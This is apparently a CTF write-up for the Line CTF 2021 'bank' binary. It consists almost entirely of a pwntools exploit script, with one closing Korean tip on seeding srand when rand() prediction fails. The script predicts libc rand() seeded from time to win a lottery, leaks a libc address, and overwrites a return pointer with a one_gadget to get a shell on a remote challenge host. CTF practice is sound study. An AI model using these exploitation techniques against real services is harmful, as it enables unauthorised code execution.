[CTF write up] Line CTF 2021 - bank : Complex Binary

2022. 3. 3. 00:17CTF write up

from pwn import *
import ctypes
import time

context(arch = "amd64", os = "linux")

def command_adduser(id, ps):
    p.sendlineafter(b': ',b'6')
    p.sendlineafter(b': ', id)
    p.sendlineafter(b': ', ps)

def command_login(id, ps):
    p.sendlineafter(b': ',b'7')
    p.sendlineafter(b': ', id)
    p.sendlineafter(b': ', ps)

def command_loan():
    p.sendlineafter(b': ',b'4')

def command_logout():
    p.sendlineafter(b': ',b'8')

def command_lottery():
    p.sendlineafter(b': ', b'5')
    crack_num = []
    lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
    lib.srand(lib.time(0)+2)
    for i in range(0,7):
        while(True):
            a = lib.rand() % 37 + 1
            if not a in crack_num:
                break
        crack_num.append(a)
    print(crack_num)
    for i in range(0, 7):
        p.sendlineafter(b': ', str(crack_num[i]).encode())

def command_transfer(ac_num, amount):
    p.sendlineafter(b': ',b'3')
    p.sendlineafter(b'.', ac_num)
    p.sendlineafter(b'.', amount)

def command_transfer_vip(ac_num, amount):
    p.sendlineafter(b': ',b'8')
    p.sendlineafter(b'.', ac_num)
    p.sendlineafter(b'.', amount)


def command_vip():
    p.sendlineafter(b': ', b'8')

#p = process('Lazenca.Bank')
p = remote('host1.dreamhack.games',15560)

command_adduser(b'flag',b'flag')
command_login(b'flag',b'flag')
p.sendlineafter(b': ',b'1')
p.recvuntil(b' number : ')
flag_ac = p.recvn(9)
print(f'flag_ac : {flag_ac}')
command_logout()

command_adduser(b'guest',b'guest')
command_login(b'guest',b'guest')
for i in range(0,9):
    command_loan()
command_logout()

command_adduser(b'guest2',b'guest')
command_login(b'guest2',b'guest')
for i in range(0,9):
    command_loan()
command_logout()

command_adduser(b'guest3',b'guest')
command_login(b'guest3',b'guest')
for i in range(0,9):
    command_loan()
command_logout()

command_adduser(b'hacker',b'hacker')
command_login(b'hacker',b'hacker')
command_loan()
command_lottery()
raw_input()


p.sendafter(b': ',b'a'*16)
p.sendafter(b': ',b'address')
stdout_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'stdout_addr: {hex(stdout_addr)}')
oneshot = stdout_addr - 0x197290 - 0x55410 + 0xe6c84
print(f'one_gadget: {hex(oneshot)}')

p.sendlineafter(b': ',b'1')
p.recvuntil(b' number : ')
p.recvuntil(b' number : ')
ac_num = p.recvn(9)
print(f'ac_num : {ac_num}')
command_transfer(ac_num,b'10000')
p.sendlineafter(b': ',b'1')

p.sendlineafter(b': ',b'7')
p.sendlineafter(b': ',b'2'+b'a'*56+p64(oneshot))

p.sendlineafter(b': ',b'0')
command_transfer_vip(flag_ac,b'0')


p.interactive()

 

rand() 크랙이 안먹힐때는 다음과 같이 srand할때 추가 값을 조금 넣어주면 된다.